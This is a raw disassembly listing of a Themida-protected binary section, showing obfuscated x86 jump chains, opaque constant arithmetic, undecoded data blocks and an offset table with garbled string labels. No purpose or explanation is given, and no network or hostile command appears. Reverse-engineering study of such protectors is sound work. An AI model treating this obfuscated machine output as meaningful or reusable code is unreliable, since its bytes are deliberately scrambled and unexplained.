; --------------------------------------------------------------------------- db 68h dd 2D78h, 68240C89h, 1896h, 0FFFEEBE9h, 0C8B54FFh, 4C48324h dd 4C181h, 0C1830000h, 240C8704h, 73F6E95Ch, 0E95FFFFFh dd 0FFFF782Ch, 83242489h, 59042404h, 4C181h, 0C1810000h dd 4, 2474FF51h, 48F5904h, 0A349E924h, 4BBFFFFh, 0E9000000h dd 0FFFFDAF4h, 23D368h, 24048900h, 0FF3E28E9h, 12255AFFh dd 406F2500h, 0A32DD8F7h, 2D7E1E38h, 61DDC756h, 48BC101h dd 4C48124h, 81000000h, 4ECh, 876BE900h, 8B66FFFFh, 0D6682404h dd 0E9000066h, 0FFFF452Ah, 8957595Bh, 4BE56E7h, 0E9000000h dd 0FFFF882Ah, 0F15D36BDh, 2AED8169h, 0E91CA876h, 0FFFFF545h dd 0EA6BE2BEh, 70C68170h, 8138491Dh, 7C594BE6h, 4EC815Ah dd 0E9000000h, 0FFFF73D9h, 56D80159h, 110AC9BEh, 0E9F02940h dd 0FFFFD0FCh, 9D1C77FFh, 14D35966h, 96E99C24h, 0C1FFFF3Dh dd 0E9E903E1h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55087B: ; CODE XREF: Themida_:00547B86j mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_544609 ; --------------------------------------------------------------------------- dd 2159CA29h, 0E1C6E9D7h, 0E959FFFFh, 0FFFFD848h, 0C681E689h dd 4, 8704EE83h, 895C2434h, 0E0892404h, 405h, 40500h, 31E90000h dd 81FFFFFEh, 4E9h, 240C8700h, 0F3BCE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5508CE: ; CODE XREF: Themida_:005477F9j pop esp push edx mov edx, esp jmp loc_546248 ; --------------------------------------------------------------------------- db 8Bh dd 4CE92424h, 88FFFFF6h, 5AD488EAh, 0C984E959h, 0D9F7FFFFh dd 31F9E981h, 0E9817705h, 8E08BD2Ah, 8759CD01h, 248B242Ch dd 0D306E924h, 0C89FFFFh, 8E32E924h, 8852FFFFh, 88D6F6E6h dd 685AF4h, 0E9000000h, 0FFFFB325h, 0E99C5166h, 0FFFF3CE1h dd 0B65266ACh, 0B3C680FDh, 0FFDFA5E9h, 48B66FFh, 17116824h dd 2C890000h, 68E58924h, 568Bh, 0BB241C89h, 4, 14F5C581h dd 0C58113F7h, 59BB7BF5h, 3C6BC581h, 0DD017619h, 3C6BB951h dd 0CD297619h, 0E925E959h, 5552FFFFh, 0FF485FE9h db 0FFh ; --------------------------------------------------------------------------- loc_550979: ; CODE XREF: Themida_:005502ACj pop esp push esi mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_54CC26 ; --------------------------------------------------------------------------- db 0B5h, 91h, 0E9h dd 0FFFF7048h, 0FF3C68E9h, 0C3815CFFh, 2, 2474FF53h, 48F5B04h dd 0B03FE924h, 0C680FFFFh, 0A6B050FFh, 0B5E95066h, 81FFFF9Ch dd 0C3778CC9h, 51E98101h, 0E9F26B21h, 0FFFFCA7Bh, 73B6EE81h dd 0C6010415h, 0FFD963E9h, 1FC580FFh, 0FFD8ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_5509E9: ; CODE XREF: Themida_:0054DCAFj xor ecx, eax pop eax push ebx push 725D7226h pop ebx add ebx, 1 add ebx, 1AB72011h push edi mov edi, 631D6414h xchg ebp, edi not ebp xor edi, ebp xor ebp, edi xor edi, ebp shr edi, 8 add edi, 4BE67D26h xor ebx, edi mov edi, [esp] add esp, 4 jmp loc_546686 ; --------------------------------------------------------------------------- db 0BFh, 0B7h, 2Ah dd 0FA297BF5h, 3BD7E95Fh, 3C8BFFFFh, 4C48324h, 8B24048Fh dd 1662424h, 0E99C2404h, 0FFFF3BC1h ; --------------------------------------------------------------------------- loc_550A48: ; CODE XREF: Themida_:0054CC29j mov ebp, 45135E7Dh inc ebp shl ebp, 4 sub esp, 4 mov [esp], edi mov edi, 12B24F76h jmp loc_54A16D ; --------------------------------------------------------------------------- db 0B9h, 39h, 1Ah dd 5DBB535Dh, 29535D1Ah, 0DE0159CBh, 5B2434FFh, 8904EC83h dd 0E389241Ch, 2C726857h, 1C890000h, 44FDBB24h, 0BE5634F6h dd 4C736ABCh, 0FF80F5E9h, 4077FFFFh, 0FF3B6CE9h, 8B5B51FFh dd 0C483240Ch, 8260E904h, 0AF0FFFFFh, 0E99C51C8h, 0FFFF3B55h dd 0FF3B50E9h db 0FFh ; --------------------------------------------------------------------------- loc_550AB9: ; CODE XREF: Themida_:0054B0DCj push eax mov eax, 20DA69F3h jmp loc_54E126 ; --------------------------------------------------------------------------- loc_550AC4: ; CODE XREF: Themida_:0054720Fj pop ebp sub eax, 34070EEAh add eax, ecx add eax, 34070EEAh mov ecx, [esp] add esp, 4 add eax, ecx push esi mov esi, 70023441h sub eax, esi jmp loc_54CC83 ; --------------------------------------------------------------------------- dw 0C381h dd 2, 3BDF68h, 0BEADE900h, 0F180FFFFh, 59CB085Fh, 0FF57A9E9h dd 347068FFh, 34890000h, 0C805E924h, 0E82CFFFFh, 81E38953h dd 4C3h, 2B85000h, 29000000h, 1C8758C3h, 89665C24h, 38B62414h dd 8B66F028h, 0C4812414h, 2, 0D800772Ch, 38047704h, 0F63CB551h dd 95D1E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550B4A: ; CODE XREF: Themida_:0054C208j shl ebx, 5 xor ebx, 0AD375AE4h add esi, ebx jmp loc_54D1FC ; --------------------------------------------------------------------------- dw 0AAE9h dd 89FFFF3Ah, 74FF242Ch, 8F5D0424h, 248B2404h, 24040124h dd 0FF3EE99Ch, 0BD55FFFFh, 0 dd 0EB87DD29h, 4177E95Dh, 8956FFFFh, 0BD88E9E6h, 0C601FFFFh dd 24348758h, 0E924248Bh, 0FFFF6CF3h, 8F5CE95Bh, 5B66FFFFh dd 0DCEB8166h, 0C3016651h, 0B9665166h, 16651DCh, 0E8FEE9CBh dd 0E957FFFFh, 0FFFFE9A6h, 4C481h, 0DD880000h, 2C88585Bh dd 36E95987h db 3Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550BD3: ; CODE XREF: Themida_:0054FE55j mov ecx, 6076423Bh and ecx, 46B9490Ch not ecx dec ecx push ebp mov ebp, 2B6F7B8Ch push edx jmp loc_54C971 ; --------------------------------------------------------------------------- db 5Dh, 1, 0D1h dd 0FF8A55E9h, 4C481FFh, 53000000h, 0EC81E389h, 4, 56241489h dd 0FB5549BEh, 554DBA77h, 0F22977FBh, 0E9D3015Eh, 0FFFF7E4Eh dd 0AB13EB81h, 0D801A4EBh, 2404875Bh, 1EE815Ch, 5856117Ch dd 0E924148Bh, 0FFFFFF4Eh, 0FA0FC6AAh, 0 dd 9F69DDh, 5A3FCAh, 0 dd 7FFE0304h, 0 dd 207h, 2, 1, 2, 0FA0FC6AAh, 5 dup(0) dd offset dword_55E600 dd offset byte_55DE07 dd offset dword_56202C dd offset byte_561A05 dd offset byte_555BD5 dd offset word_55F9A6 dd offset byte_56378D dd offset word_553216 dd offset dword_555960 dd offset word_55A12E dd offset word_5593F6 dd offset byte_561A1D dd offset byte_562161 dd offset word_556B0A dd offset byte_5634C7 dd offset byte_552A55 dd offset byte_55D8C3 dd offset dword_556044 dd offset aM0Spss ; "╛0ьSPSИ\"ш" dd offset word_56327E dd offset word_5595CE dd offset byte_55FC85 dd offset word_55B25A dd offset word_562356 dd offset byte_557F0F dd offset byte_5582F9 dd offset word_56315A dd offset word_552912 dd offset dword_556120 dd offset byte_560231 dd offset byte_55F133 dd offset byte_55B483 dd offset byte_56184D dd offset byte_561BA1 dd offset byte_5510EF dd offset byte_563183 dd offset dword_55926C dd offset off_55E2E3 dd offset dword_55F98C dd offset word_555056 dd offset byte_555B1B dd offset dword_565CD0 dd offset dword_557E80 dd offset dword_556EB4 dd offset word_5570B6 dd offset word_554946 dd offset word_556B02 dd offset byte_55D86D dd offset byte_553B8F dd offset byte_55E7AD dd offset byte_55C18B dd offset word_553512 dd offset word_55EA6E dd offset byte_55C8A3 dd offset dword_563B9C dd offset byte_5650DD dd offset byte_55C50B dd offset byte_560B21 dd offset word_55A9F2 dd offset word_5614EA dd offset word_5648AE dd offset byte_564C55 dd offset aN1SA ; "╜1ьИ,─" dd offset dword_5636CC dd offset word_55B462 dd offset byte_55192B dd offset byte_553B5B dd offset word_564682 dd offset byte_557859 dd offset byte_559E61 dd offset byte_563785 dd offset byte_563EF9 dd offset byte_564E3F dd offset byte_55B0E1 dd offset byte_553CA1 dd offset byte_55EA01 dd offset byte_5553A5 dd offset dword_5552FC dd offset byte_554727 dd offset byte_55DF01 dd offset byte_55F4A5 dd offset byte_55864B dd offset word_5647D6 dd offset dword_5587B8 dd offset word_561CB2 dd offset byte_55DAB9 dd offset dword_55904C dd offset byte_55E0E1 dd offset byte_564D37 dd offset dword_5523A8 dd offset dword_555F28 dd offset word_565646 dd offset byte_55D193 dd offset dword_557140 dd offset byte_553B27 dd offset dword_553EA4 dd offset byte_56082F dd offset word_55BD22 dd offset byte_55F58D dd offset byte_55463B dd offset aNhN ; "╜h\bN" dd offset dword_55AEF8 dd offset dword_557AA8 dd offset byte_55DBAD dd offset word_55469E dd offset byte_564A4B dd offset byte_557B53 dd offset byte_55457B dd offset byte_5595BB dd offset word_55F336 dd offset byte_564CFB dd offset aMhxe ; "╛hXe" dd offset dword_556BE0 dd offset dword_559CF4 dd offset byte_55F9B1 dd offset dword_557E64 dd offset aNr6@mvbuXMs_ ; "╜R╨6@MV│НЁx&mИ╟_" dd offset byte_55FC93 dd offset byte_55A9BB dd offset byte_56107F dd offset byte_55B5AD dd offset word_559BAA dd offset dword_55E180 dd offset byte_5511B3 dd offset byte_559ECF dd offset byte_562EAB dd offset word_56336A dd offset word_55BAA2 dd offset byte_55D56B dd offset byte_562837 dd offset byte_5619ED dd offset byte_552E51 dd offset byte_55E595 dd offset dword_55B870 dd offset byte_56085D dd offset byte_560705 dd offset dword_55443C dd offset byte_5523D5 dd offset byte_55A6C1 dd offset byte_55458D dd offset byte_55D4D5 dd offset dword_55C110 dd offset loc_55A222 dd offset dword_5540C0 dd offset byte_551057 dd offset byte_552431 dd offset byte_55596F dd offset aN1Suf ; "╜1ьИЦF" dd offset byte_55DB35 dd offset word_55764A dd offset byte_5586AB dd offset dword_55FA7C dd offset dword_564560 dd offset word_554F4A dd offset byte_55BB87 dd offset byte_5608D9 dd offset byte_5622C9 dd offset dword_55D81C dd offset word_5511BE dd offset dword_55CA74 dd offset byte_557253 dd offset word_5586EA dd offset byte_55646D dd offset word_55B17E dd offset word_555706 dd offset word_55A9D2 dd offset word_555466 ; --------------------------------------------------------------------------- loc_550F18: ; CODE XREF: Themida_:0059F4A2j ; Themida_:005A3F9Aj pusha pushf cld call $+5 pop edi sub edi, 6454876h mov eax, edi add edi, 645458Eh cmp eax, [edi+2Ch] jnz short loc_550F36 jmp short loc_550F49 ; --------------------------------------------------------------------------- loc_550F36: ; CODE XREF: Themida_:00550F32j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_550F45 ; --------------------------------------------------------------------------- loc_550F40: ; CODE XREF: Themida_:00550F47j add [edi+ecx*4+40h], eax dec ecx loc_550F45: ; CODE XREF: Themida_:00550F3Ej or ecx, ecx jnz short loc_550F40 loc_550F49: ; CODE XREF: Themida_:00550F34j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_550F56: ; CODE XREF: Themida_:00550F5Dj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_550F56 loc_550F5F: ; CODE XREF: Themida_:00551FD8j ; Themida_:00551FE9j ... lodsb jmp loc_555628 ; --------------------------------------------------------------------------- loc_550F65: ; CODE XREF: Themida_:005631C9j add eax, 5EA96C83h add eax, 79DC2C03h add eax, ebp sub eax, 79DC2C03h push 748Bh mov [esp], edx mov edx, 1D176608h xchg edi, edx jmp loc_561C9E ; --------------------------------------------------------------------------- loc_550F8A: ; CODE XREF: Themida_:00552F3Bj add eax, 6BC703E1h jmp loc_55EF04 ; --------------------------------------------------------------------------- dd 2C8BEB01h, 4C48324h, 70E4C381h, 6855682Ch, 3AC21822h dd 14B1AE9h, 0BF575C00h, 4, 815FFB01h, 4C3h, 5108E900h dd 7CB80000h, 81F2B0CEh, 0F1240EAh, 81C22944h, 0F1240C2h dd 24048B44h, 8104C483h, 0E45FDBC1h, 59E98164h, 178FA2Bh dd 59C181D1h, 0E978FA2Bh, 0F144h, 4B951h, 0CD010000h, 30685059h dd 89000042h, 0CAB9240Ch, 0C1219801h, 0BD5506E9h, 6810357Ch dd 815DE929h, 0BA2C1DF1h, 0A3E98114h, 891DD59Dh, 0DE3559C8h dd 0E94AC871h, 88A6h ; --------------------------------------------------------------------------- loc_551030: ; CODE XREF: Themida_:0055FAD1j add esp, 4 shr eax, 0Ch xor eax, ecx push eax jmp loc_5633B2 ; --------------------------------------------------------------------------- db 1, 0F3h, 57h dd 0EAE9h, 5AD10100h, 4EC81h, 0CDE90000h db 0B1h, 2 dup(0) byte_551057 db 0ACh ; DATA XREF: Themida_:00550EBCo dd 5F688704h, 8900006Fh, 0C5B22414h, 2C4EC280h, 0ACDBE9AAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55106E: ; CODE XREF: Themida_:0055D121j mov esi, ebp pop ebp push 3FFDh mov [esp], edi jmp loc_564B0E ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 0E9000000h, 0B14Bh, 4C781h, 3C870000h, 7C6CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55109A: ; CODE XREF: Themida_:00565532j mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55DB62 ; --------------------------------------------------------------------------- db 2Ch, 0A3h, 28h dd 0E95266E8h, 3EFCh ; --------------------------------------------------------------------------- loc_5510BC: ; CODE XREF: Themida_:0055D845j mov edx, 36FB6014h jmp loc_561CB9 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5A0424h, 525C2404h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 0B742400h mov edx, ecx jmp loc_558012 ; --------------------------------------------------------------------------- byte_5510EF db 0FFh ; DATA XREF: Themida_:00550D04o dd 48B2434h, 0E3895324h, 4C381h, 0C3810000h, 4, 31241C33h dd 1C33241Ch, 24248B24h, 707C68h, 24148900h, 172068h, 48F5400h dd 0B1E95624h, 5B00010Ch, 0CA80DAF6h, 46E9508Eh, 0BF0000EEh dd 449A74C9h, 100EFE9h, 0EF815A00h, 7DA43D35h, 6FC4E9h db 0 ; --------------------------------------------------------------------------- loc_551149: ; CODE XREF: Themida_:0055E1D5j add edx, 4 sub edx, 4 xor edx, [esp] jmp loc_55A6E2 ; --------------------------------------------------------------------------- loc_55115D: ; CODE XREF: Themida_:0055A83Aj mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push eax mov eax, 4 add [esp+4], eax pop eax pop ebp add ebp, 4 push edi mov edi, 18871050h push esi push ebx mov ebx, 3B67205h xor ebx, 32F91CFEh mov esi, ebx pop ebx not esi jmp loc_55B90D ; --------------------------------------------------------------------------- dw 0FF5Eh dd 50582434h, 24048B54h, 4C481h, 0BE560000h, 3B4A0950h dd 0D3E94646h db 3Eh, 2 dup(0) byte_5511B3 db 0FFh ; DATA XREF: Themida_:00550E68o dd 34FF3C77h, 5098E924h db 2 dup(0) word_5511BE dw 77FFh ; DATA XREF: Themida_:00550EF4o dd 11589D1Ch, 0E99C2404h, 0FFFFFD93h, 2474FF50h, 48F5804h dd 0F2E95C24h, 8B000019h, 0E9F72424h, 103668h, 24148900h dd 70E99C50h, 89FFFFFDh, 4C381E3h, 81000000h, 4C3h, 67B8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551202: ; CODE XREF: Themida_:00559BF6j mov esp, [esp] push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55FABF ; --------------------------------------------------------------------------- db 5Ch, 21h, 0D0h dd 5A2434FFh, 4C481h, 77FF0000h, 0D0E9511Ch db 49h, 1, 0 ; --------------------------------------------------------------------------- loc_551233: ; CODE XREF: Themida_:0056421Ej xor ecx, 0F569FB92h add eax, 68176054h add eax, ecx sub eax, 68176054h pop ecx push edi push edx mov edx, 2DA210B9h jmp loc_562B24 ; --------------------------------------------------------------------------- dw 0ED81h dd 3B100215h, 835DEF01h, 3C8704EFh, 92C1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551266: ; CODE XREF: Themida_:005531D0j mov edi, 3A6043D1h or edx, edi jmp loc_55BEBD ; --------------------------------------------------------------------------- dw 4BDh dd 1000000h, 0C7835DEFh, 243C8704h, 6C2FE9h, 68E95000h db 0D2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55128B: ; CODE XREF: Themida_:00561A8Aj push edx jmp loc_560D40 ; --------------------------------------------------------------------------- db 0C1h, 0EDh, 5 dd 8956D5F7h, 4C681E6h, 83000000h, 63E904EEh db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5512A7: ; CODE XREF: Themida_:0055D713j pop ebp jmp loc_564F19 ; --------------------------------------------------------------------------- db 0BDh, 1, 0 dd 0EA290000h, 10F09E9h, 241C8900h, 241C8B54h, 55AE955h dd 0EC830000h, 240C8904h, 0B8F7E9h, 82C68100h, 68186C32h dd 8CFh, 0E9243C89h, 14800h ; --------------------------------------------------------------------------- loc_5512E4: ; CODE XREF: Themida_:0055A239j add ebp, 684E3E76h mov edi, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_55A1C8 ; --------------------------------------------------------------------------- loc_5512FB: ; CODE XREF: Themida_:00555824j add eax, 3EFB6725h pop ecx xchg eax, [esp] jmp loc_5565CE ; --------------------------------------------------------------------------- db 57h, 0F7h, 14h dd 0F7815F24h, 0BE63FF32h, 0F95E9h, 243C8B00h, 8904C483h dd 24048BC6h, 5904C483h, 0AF03E9h, 24248B00h, 0E9241489h dd 66EEh, 74FF515Eh, 8F590424h, 335C2404h, 1C31241Ch, 0AE90E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55134E: ; CODE XREF: Themida_:00554B34j mov ecx, 32BD7F03h and ecx, 2133047Fh push ebp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi jmp loc_564357 ; --------------------------------------------------------------------------- dw 0C181h dd 4B42165Dh, 120EAE9h, 0A31B900h, 0C1813B36h, 583044A8h dd 33E9D1F7h, 56000102h, 116BBD55h, 0A7BE47D3h, 1FBF741h dd 0F6815DEEh, 16203B9Dh, 0C15EF721h, 0C78102EFh, 4AC78505h dd 0F75FFB89h, 0C4E952D3h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5513BB: ; CODE XREF: Themida_:00559320j dec edi sub edi, 0BFD1EC5h shl edi, 6 add edi, 467B30Fh jmp loc_5564BE ; --------------------------------------------------------------------------- loc_5513D0: ; CODE XREF: Themida_:0055C003j sub esp, 4 mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx push dword ptr [esp] jmp loc_55226C ; --------------------------------------------------------------------------- db 31h, 0D0h, 0FFh dd 0E95A2434h, 3A7h ; --------------------------------------------------------------------------- loc_5513F4: ; CODE XREF: Themida_:0055AE01j pop ebx add esp, 4 push ecx pop dword ptr [edi+20h] pop ecx jmp loc_554F96 ; --------------------------------------------------------------------------- loc_551402: ; CODE XREF: Themida_:0055FBDAj neg eax add eax, 0D41611CBh mov edx, eax pop eax add edi, edx jmp loc_55AEC5 ; --------------------------------------------------------------------------- db 53h dd 12A7FE9h, 0E9565300h, 0A372h ; --------------------------------------------------------------------------- loc_551420: ; CODE XREF: Themida_:0055C7B5j xor al, 3Ah add al, 1 push ecx mov ch, 0ABh neg ch jmp loc_554E8A ; --------------------------------------------------------------------------- loc_55142E: ; CODE XREF: Themida_:00561E17j push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] pop edx push 6521h mov [esp], edi push esp push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 jmp loc_561318 ; --------------------------------------------------------------------------- dw 0C181h dd 6CE0105h, 0E981C129h, 6CE0105h, 81F10158h, 125E7DC1h dd 0F256E933h, 5F210000h, 0D4E95B1Ch db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55148B: ; CODE XREF: Themida_:005640D9j sub esp, 4 mov [esp], ebp mov ebp, 2A3F3C2Eh xor ebp, 4C2A3A1Dh shl ebp, 4 or ebp, 17364F60h neg ebp sub ebp, 81165ABEh and ebx, ebp jmp loc_5635C7 ; --------------------------------------------------------------------------- aSvr db ']И╒r',0 dd 4EC8100h, 89000000h, 0BE56240Ch, 60EC7348h, 1E8E9h dd 81CE0100h, 47F23EEh, 240C8B11h, 4C481h, 34870000h, 17D8E924h db 1, 0 ; --------------------------------------------------------------------------- loc_5514EA: ; CODE XREF: Themida_:0056050Dj push eax mov eax, 59AB5706h jmp loc_563498 ; --------------------------------------------------------------------------- aASnc db '╬еA╬$ИN≈',0 dw 5800h dd 1006BE9h db 0 ; --------------------------------------------------------------------------- loc_551505: ; CODE XREF: Themida_:005606A8j pop esi add ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shr ecx, 2 jmp loc_563F3A ; --------------------------------------------------------------------------- dw 3489h dd 2474FF24h, 24348B04h, 4C481h, 48F0000h, 0E9545C24h dd 113AAh, 80E9D588h, 310000DCh, 4EC81C3h, 0E9000000h dd 11EA9h ; --------------------------------------------------------------------------- loc_551550: ; CODE XREF: Themida_:0055AB58j pop eax pop dx sub al, 0FAh jmp loc_561BAF ; --------------------------------------------------------------------------- dw 0D000h dd 285F2C5Ah, 19B151C8h, 80B9E980h, 0C8003FF1h, 83240C8Bh dd 4C2C04C4h, 1E13E959h, 875D0000h, 0E95C240Ch, 0BBB1h dd 0C181E1D1h, 0DDBFA9ACh, 0E959CF29h, 1D3Bh ; --------------------------------------------------------------------------- loc_551594: ; CODE XREF: Themida_:00560D8Bj pop edi xor ebp, [esp] xor [esp], ebp jmp loc_55930B ; --------------------------------------------------------------------------- dd 698EF81h, 34FF35E3h, 0C4815824h, 4, 45E9FA31h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5515B7: ; CODE XREF: Themida_:00562EA6j push 74F2h mov [esp], esi sub esp, 4 jmp loc_559143 ; --------------------------------------------------------------------------- db 0F7h dd 0ED814DD5h, 0B19DB4D6h, 0D5DE801h, 2C6E5B58h, 0E0962D48h dd 0EC813623h, 4, 0BD242C89h, 45F33943h, 4B125905h, 51E80117h dd 0B1C1E9h, 4C58100h, 83000000h, 2C8704EDh, 24248B24h dd 0BE243489h, 0B9A2EBAh, 6F0CE9h, 240C8B00h, 4C481h, 28680000h dd 0E900000Bh, 25BCh ; --------------------------------------------------------------------------- loc_551628: ; CODE XREF: Themida_:00557B0Aj pop ecx jmp loc_55261E ; --------------------------------------------------------------------------- dw 248Bh dd 2434FF24h, 0E92434FFh, 5445h ; --------------------------------------------------------------------------- loc_55163C: ; CODE XREF: Themida_:00552A9Dj xchg esi, [esp] pop esp add esp, 4 sub esp, 4 mov [esp], edi mov edi, 24F44E60h or ebx, edi jmp loc_5589B1 ; --------------------------------------------------------------------------- db 0F6h, 14h, 24h dd 0EAC05A66h, 0FEC28007h, 685AD000h, 2B6Ch, 30240489h dd 2E9242Ch, 0B400001Bh, 45A5E940h, 0FF570000h, 8B042474h dd 0C481243Ch, 4, 8B24048Fh, 8B662424h, 9F682404h, 89000020h dd 9768243Ch, 89000008h, 0BB532424h, 4, 4245C01h, 57B9E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5516B2: ; CODE XREF: Themida_:00563EF4j xor ecx, eax jmp loc_5520DE ; --------------------------------------------------------------------------- db 0B9h, 0ADh, 0C3h dd 0F1297F47h, 0C2E1815Eh, 81304561h, 8AEEDEC1h, 595F51FEh dd 2F1AF781h, 0F8890ECCh, 81243C8Bh, 4C4h, 5CEF8100h, 1375070h dd 5CC781C7h, 58375070h, 4BD55h, 0EF010000h, 83242C8Bh dd 0EBE904C4h, 0BB000105h, 14D651F5h, 86E9F301h, 5A000001h dd 0A695E9h, 79E98100h, 0E90D7A2Fh, 4DA6h, 815BDA29h, 927155F2h dd 585FE976h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55172E: ; CODE XREF: Themida_:0055226Fj pop edx add esp, 4 jmp loc_55C367 ; --------------------------------------------------------------------------- dw 815Eh dd 0B36547C7h, 81EF2973h, 0B36547EFh, 0D1C78173h, 0E953327Fh dd 129FDh ; --------------------------------------------------------------------------- loc_551754: ; CODE XREF: Themida_:00552490j mov ebx, [esp] push eax jmp loc_560C05 ; --------------------------------------------------------------------------- loc_55175D: ; CODE XREF: Themida_:0055A995j xchg edx, [esp] mov esp, [esp] jmp loc_55C798 ; --------------------------------------------------------------------------- dd 16E95258h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55176F: ; CODE XREF: Themida_:0055423Aj push eax mov eax, 4E08481Ch or esi, eax pop eax not esi add esi, 4E096882h sub edi, esi pop esi jmp loc_558708 ; --------------------------------------------------------------------------- dd 0C000F4B9h, 34566810h, 3C890000h, 0AE95524h, 680000E8h dd 3710h, 92FE9h, 1DF1B900h, 0C1810C54h, 0F3ABE213h, 9DB5E955h dd 0C7890000h, 1EE78158h, 0E9180528h, 1193Eh ; --------------------------------------------------------------------------- loc_5517C4: ; CODE XREF: Themida_:0055BA9Dj pop esi not esi xor edi, esi xor esi, edi xor edi, esi xor eax, edi xor edi, eax xor eax, edi sub esp, 4 jmp loc_557640 ; --------------------------------------------------------------------------- dw 0DE29h dd 51EE015Bh, 5A6E3FB9h, 59CE0159h, 5D2434FFh, 0E904C483h dd 11B0h, 0C443E4BEh, 5EF58951h, 11439E9h db 0 ; --------------------------------------------------------------------------- loc_551805: ; CODE XREF: Themida_:00555299j push edi mov edi, 58E30098h and edi, 174F2762h not edi xor edi, 0EFBCFFFBh add esi, edi jmp loc_558407 ; --------------------------------------------------------------------------- aIxhs db '┴ЕhХ}',0 dw 8900h dd 0A2BA2414h, 813A130Ah, 80308AF2h, 0DCC28125h, 0E9E06CC5h dd 0E337h ; --------------------------------------------------------------------------- loc_551840: ; CODE XREF: Themida_:0055C7A1j mov esp, [esp] mov [esp], ax jmp loc_556F44 ; --------------------------------------------------------------------------- dd 4C481h, 7C010000h, 5FE90824h, 1000143h, 0FEB3E9D1h dd 515BFFFFh, 0B34852B9h, 5E1C133h, 3E9C149h, 585AF181h dd 0E1C147FDh, 0D8E98106h, 0E9444FEDh, 225Fh, 2BFh, 5FF80100h dd 5C240487h, 0C4B4E9h, 0D4B85E00h, 3149F757h, 44015BD8h dd 70E90424h, 5A000060h, 0A055E9h, 4EC8300h, 8131E9h db 0 ; --------------------------------------------------------------------------- loc_5518B5: ; CODE XREF: Themida_:0055232Fj xchg esi, [esp] pop esp push edx jmp loc_55AD21 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 243C8700h, 24048F5Ch, 9196E9h db 0 ; --------------------------------------------------------------------------- loc_5518D1: ; CODE XREF: Themida_:00552367j push edi jmp loc_55A1C2 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0DC38000h, 0EB80C328h, 27C3800Dh, 582434FFh, 4C481h dd 0E9530000h, 8DA4h ; --------------------------------------------------------------------------- loc_5518F8: ; CODE XREF: Themida_:00565B9Dj mov eax, 39B92067h xor eax, 23B1368Dh push esi push edi push 29AD4898h pop edi xor edi, 33A55E76h mov esi, edi pop edi xor eax, esi mov esi, [esp] add esp, 4 sub edi, 3E4E61E5h add edi, eax jmp loc_552FB1 ; --------------------------------------------------------------------------- byte_55192B db 0FFh ; DATA XREF: Themida_:00550D80o dd 48B2434h, 10336824h, 2C890000h, 2C8B5424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 4799h mov [esp], esp add dword ptr [esp], 4 jmp loc_557ECD ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 1383B850h, 2EE9485Fh, 510000ADh, 588DB966h, 123B8E9h dd 48F5A00h, 24248B24h, 4EC81h, 0C890000h, 81E18924h, 4C1h dd 9557E900h, 0EBC10000h, 93C38106h, 1FC69B9h, 0C4E95BDAh dd 830000A8h, 514F04C4h, 0B9h, 87F92900h, 0EF8159CFh, 1A4530EAh dd 0AC15E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5519C2: ; CODE XREF: Themida_:005658D1j mov ebx, [esp] add esp, 4 push ecx mov ecx, esp jmp loc_5574F9 ; --------------------------------------------------------------------------- dd 4BE56h, 0F3010000h, 5E2434FFh, 4C481h, 1C870000h, 56585C24h dd 0C94641BEh, 5EF0011Dh, 0FFF56AE9h, 303805FFh, 69054C27h dd 129800Ah, 0A692DD8h, 382D2980h, 524C2730h, 38B3E9h db 0 ; --------------------------------------------------------------------------- loc_551A11: ; CODE XREF: Themida_:0055C930j pop esp or eax, eax jmp loc_557B47 ; --------------------------------------------------------------------------- db 66h, 0F7h, 0E1h dd 28426866h, 24148966h, 0E99C5066h, 0FFFFF533h ; --------------------------------------------------------------------------- loc_551A2C: ; CODE XREF: Themida_:0055E9BDj xchg ebp, [esp] pop esp mov [esp], ecx push ebp mov ebp, 24D324A2h mov ecx, ebp pop ebp jmp loc_55382D ; --------------------------------------------------------------------------- db 57h, 